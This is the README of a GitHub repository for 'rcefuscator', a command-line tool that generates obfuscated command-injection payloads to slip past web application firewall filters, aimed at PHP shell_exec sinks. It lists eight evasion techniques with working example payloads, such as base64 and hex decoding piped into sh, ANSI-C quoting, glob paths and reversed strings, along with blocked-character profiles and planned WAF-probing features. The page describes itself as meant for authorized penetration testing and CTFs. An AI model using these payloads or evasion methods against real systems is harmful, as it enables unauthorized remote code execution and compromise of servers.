Skip to content

About

RCE Payload Generator & WAF Evasion Toolkit

Topics

Resources

Stars

4 stars

Watchers

1 watching

Forks

Latest commit

ย 

History

10 Commits

Folders and files

NameName
Last commit message
Last commit date
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 
ย 

Repository files navigation

โš”๏ธ rcefuscator

RCE Payload Generator & WAF Evasion Toolkit

Python Click Rich License Tests Domain


The problem: WAF rules are getting smarter โ€” but most just block obvious characters. Raw id, whoami, or cat /etc/passwd get blocked. But what about $'\x69\x64'? Or /???/???/id? Or echo 'di' | rev | sh?

rcefuscator generates all viable bypass variants instantly. Pick the one your WAF doesn't see.


โš ๏ธ READ DISCLAIMER โ€” This tool is strictly for authorized penetration testing, CTF challenges, and educational research. Using it against systems you do not own or have explicit written permission to test is illegal.


๐ŸŽฌ What It Does

rcefuscator takes a user-supplied OS command (e.g. id, whoami, cat /etc/passwd) and outputs multiple obfuscated payload variants designed to bypass naรฏve WAF filters that block common injection characters (;, |, &, $, backticks, (, )).

It targets the shell_exec($_GET['cmd']) PHP sink context but applies broadly to any command injection scenario.


โšก Quick Start

# Clone and install
git clone https://github.com/ak4hit/rcefuscator.git
cd rcefuscator
pipx install .

# Generate all payloads for 'id' under the moderate WAF profile
rcefuscator --cmd "id"

# Use the strict profile (blocks more chars)
rcefuscator --cmd "id" --profile strict

# Output as JSON
rcefuscator --cmd "whoami" --json

# Save to file
rcefuscator --cmd "id" --output payloads.txt

# List all available techniques
rcefuscator --list-techniques

๐Ÿค– How It Works โ€” 8 Techniques, Instant Output

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚                         rcefuscator PAYLOAD ENGINE                         โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚   INPUT         โ”‚  OS command: id / whoami / cat /etc/passwd               โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚                                                                             โ”‚
โ”‚   โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ”‚
โ”‚   โ”‚  Base64      โ”‚  โ”‚  Hex Encode  โ”‚  โ”‚  ANSI-C      โ”‚  โ”‚  Var Split   โ”‚  โ”‚
โ”‚   โ”‚  Encoding    โ”‚  โ”‚  (printf+xxd)โ”‚  โ”‚  Quoting     โ”‚  โ”‚              โ”‚  โ”‚
โ”‚   โ”‚              โ”‚  โ”‚              โ”‚  โ”‚              โ”‚  โ”‚              โ”‚  โ”‚
โ”‚   โ”‚ echo 'aWQ='  โ”‚  โ”‚ printf       โ”‚  โ”‚ $'\x69\x64'  โ”‚  โ”‚ _a=i;_b=d;  โ”‚  โ”‚
โ”‚   โ”‚ |base64 -d   โ”‚  โ”‚ '\x69\x64'   โ”‚  โ”‚              โ”‚  โ”‚ $_a$_b       โ”‚  โ”‚
โ”‚   โ”‚ |sh          โ”‚  โ”‚ |xxd -p -r   โ”‚  โ”‚ No pipes.    โ”‚  โ”‚              โ”‚  โ”‚
โ”‚   โ”‚              โ”‚  โ”‚ |sh          โ”‚  โ”‚ Cleanest.    โ”‚  โ”‚              โ”‚  โ”‚
โ”‚   โ”‚ Uses: |      โ”‚  โ”‚ Uses: |      โ”‚  โ”‚ Uses: $, '   โ”‚  โ”‚ Uses: $, ;  โ”‚  โ”‚
โ”‚   โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  โ”‚
โ”‚                                                                             โ”‚
โ”‚   โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”  โ”‚
โ”‚   โ”‚  Wildcard /  โ”‚  โ”‚  Reverse     โ”‚  โ”‚  Case        โ”‚  โ”‚  Command     โ”‚  โ”‚
โ”‚   โ”‚  Glob Expand โ”‚  โ”‚  String      โ”‚  โ”‚  Manipulationโ”‚  โ”‚  Substitutionโ”‚  โ”‚
โ”‚   โ”‚              โ”‚  โ”‚              โ”‚  โ”‚              โ”‚  โ”‚              โ”‚  โ”‚
โ”‚   โ”‚ /???/???/id  โ”‚  โ”‚ echo 'di'    โ”‚  โ”‚ echo 'ID'    โ”‚  โ”‚ $(printf     โ”‚  โ”‚
โ”‚   โ”‚              โ”‚  โ”‚ |rev|sh      โ”‚  โ”‚ |tr 'A-Z'    โ”‚  โ”‚ '\x69\x64') โ”‚  โ”‚
โ”‚   โ”‚              โ”‚  โ”‚              โ”‚  โ”‚ 'a-z'|sh     โ”‚  โ”‚              โ”‚  โ”‚
โ”‚   โ”‚ Uses: NONE   โ”‚  โ”‚ Uses: |      โ”‚  โ”‚ Uses: |      โ”‚  โ”‚ Uses: $,(,) โ”‚  โ”‚
โ”‚   โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜  โ”‚
โ”‚                                                                             โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚   BLACKLIST     โ”‚  Auto-skip techniques whose chars are blocked by WAF     โ”‚
โ”‚   VALIDATOR     โ”‚  Green panel = clean  ยท  Red panel = flagged             โ”‚
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ดโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚   OUTPUT        โ”‚  Rich terminal ยท JSON ยท Plain-text file ยท Clipboard      โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Each technique declares which special characters it uses itself. rcefuscator auto-skips any technique whose required chars are in your active WAF blacklist โ€” so you only see payloads that can actually survive the filter.


๐Ÿงช Techniques โ€” Full Table

# ID Technique Example Output (id) Uses Chars Shell
1 base64 Base64 Encoding echo 'aWQ='|base64 -d|sh | bash/sh
2 hex_printf Hex Encoding (printf + xxd) printf '\x69\x64'|xxd -p -r|sh | bash/sh
3 ansi_c ANSI-C Quoting $'\x69\x64' $, ' bash
4 var_split Variable Splitting _a=i;_b=d;$_a$_b $, ; bash/sh
5 wildcard Wildcard / Glob Expansion /???/???/id none bash/sh
6 reverse Reverse String echo 'di'|rev|sh | bash/sh
7 case_mangle Case Manipulation echo 'ID'|tr 'A-Z' 'a-z'|sh | bash/sh
8 cmd_sub Command Substitution $(โ€ฆ) $(printf '\x69\x64') $, (, ) bash

๐Ÿ›ก๏ธ WAF Profiles

Profile Blocked Characters Use When
moderate `; | & `` Standard WAF (default)
strict ; | & $ \ ( ) < > space` Hardened input filters
paranoid ; | & $ \ ( ) < > space ' " ` Maximum restriction
custom Defined by --blacklist flag You know exactly what's blocked
# Use a preset profile
rcefuscator --cmd "id" --profile strict

# Or supply your own blacklist
rcefuscator --cmd "id" --blacklist "; | & \`"

Under the strict profile, only wildcard and sometimes ansi_c survive. Under moderate, you get 3โ€“5 clean payloads. Under no blacklist, all 8 are generated.


๐Ÿ’ป All CLI Flags

rcefuscator [OPTIONS]

Options:
  -c, --cmd TEXT          OS command to obfuscate (e.g. 'id')
  -p, --profile TEXT      WAF profile: moderate | strict | paranoid  [default: moderate]
  -b, --blacklist TEXT    Custom blacklist chars (overrides --profile)
  -t, --technique TEXT    Run a single technique by ID
  -l, --list-techniques   List all available techniques and exit
  -j, --json              Print output as JSON
  -o, --output TEXT       Save payloads to a plain-text file
      --copy              Copy the first clean payload to clipboard
      --show-skipped      Show skipped techniques in the output
      --version           Show version and exit
  -h, --help              Show help and exit

Examples

# All payloads for 'id', moderate WAF
rcefuscator --cmd "id"

# Only the ANSI-C quoting technique
rcefuscator --cmd "id" --technique ansi_c

# Strict WAF, show what got skipped and why
rcefuscator --cmd "whoami" --profile strict --show-skipped

# Export to JSON for automation / Burp paste
rcefuscator --cmd "id" --json

# Save clean payloads to file
rcefuscator --cmd "id" --profile strict --output results.txt

# Copy first clean payload to clipboard
rcefuscator --cmd "id" --copy

๐Ÿ“ Project Structure

rcefuscator/
โ”œโ”€โ”€ rcefuscator/
โ”‚   โ”œโ”€โ”€ __init__.py
โ”‚   โ”œโ”€โ”€ core/
โ”‚   โ”‚   โ”œโ”€โ”€ encoder.py          # All 8 encoding/obfuscation functions
โ”‚   โ”‚   โ”œโ”€โ”€ techniques.py       # Technique registry, WAF profiles, run engine
โ”‚   โ”‚   โ””โ”€โ”€ validator.py        # Blacklist checker โ€” check_payload()
โ”‚   โ”œโ”€โ”€ cli/
โ”‚   โ”‚   โ””โ”€โ”€ main.py             # Click-based CLI entrypoint
โ”‚   โ””โ”€โ”€ output/
โ”‚       โ”œโ”€โ”€ formatter.py        # Rich terminal output (green/red panels)
โ”‚       โ””โ”€โ”€ exporter.py         # JSON + plain-text file export
โ”œโ”€โ”€ tests/
โ”‚   โ”œโ”€โ”€ test_encoder.py         # 34 unit tests for all 8 techniques + registry
โ”‚   โ”œโ”€โ”€ test_validator.py       # 5 tests for blacklist validator
โ”‚   โ”œโ”€โ”€ test_cli.py             # 19 integration tests for full CLI
โ”‚   โ””โ”€โ”€ functional_test.sh      # Bash script for Docker live validation
โ”œโ”€โ”€ examples/
โ”‚   โ””โ”€โ”€ sample_outputs.txt      # Pre-generated outputs for id & whoami
โ”œโ”€โ”€ requirements.txt
โ”œโ”€โ”€ setup.py
โ”œโ”€โ”€ DISCLAIMER.md
โ””โ”€โ”€ README.md

Linux Clipboard Support (optional โ€” for --copy flag)

sudo apt install xclip     # Debian / Ubuntu / Kali
sudo pacman -S xclip       # Arch
sudo dnf install xclip     # Fedora

Run Tests

pip install pytest
python -m pytest tests/ -v
# Expected: 58 passed

๐Ÿณ Functional Validation (Docker)

To verify payloads actually execute in a real bash environment:

docker run --rm -it -v "$(pwd)":/app ubuntu:22.04 bash /app/tests/functional_test.sh

The script runs all 8 payload variants against a live bash shell and confirms each produces uid= in the output.

โš ๏ธ Perform this step only on systems you own or have written permission to test.


๐Ÿ“Š JSON Output Format

{
  "command": "id",
  "waf_profile": "moderate",
  "generated_at": "2026-05-06T17:32:31.990119+00:00",
  "total": 3,
  "clean_count": 3,
  "payloads": [
    {
      "technique": "ansi_c",
      "name": "ANSI-C Quoting ($'\\x..')",
      "payload": "$'\\x69\\x64'",
      "clean": true,
      "uses_chars": ["$", "'"],
      "shell": "bash",
      "description": "Converts chars to \\xHH inside $'...' โ€” no pipes, cleanest technique"
    },
    {
      "technique": "wildcard",
      "name": "Wildcard / Glob Expansion",
      "payload": "/???/???/id",
      "clean": true,
      "uses_chars": [],
      "shell": "bash/sh",
      "description": "Replaces binary path components with ??? glob patterns โ€” zero special chars"
    }
  ]
}

๐Ÿ”ฎ Roadmap (v2.0)

Feature Description
--url-encode Auto URL-encode final payload for direct paste into GET params
--space-handler Auto-replace spaces with ${IFS} in multi-word commands
--verify Spin up local bash subprocess, run each payload, auto-confirm result
--interactive REPL loop โ€” type commands and get live payload generation
Burp Suite export One payload per line for Intruder paste
WAF fingerprint mode Probe a URL with test payloads, auto-detect blocked chars
Windows CMD support cmd.exe equivalents for SSJI contexts

๐Ÿค Contributing

Pull requests welcome.

  1. Fork the repo
  2. Create a branch: git checkout -b feat/your-feature
  3. Commit with conventional commits: feat:, fix:, test:
  4. Open a PR against main

โš–๏ธ License

MIT โ€” Copyright (c) 2026 ak4hit


Built by ak4hit ยท Educational Use Only

rcefuscator โ€” Because WAFs are filters, not walls.

About

RCE Payload Generator & WAF Evasion Toolkit

Topics

Resources

Stars

4 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages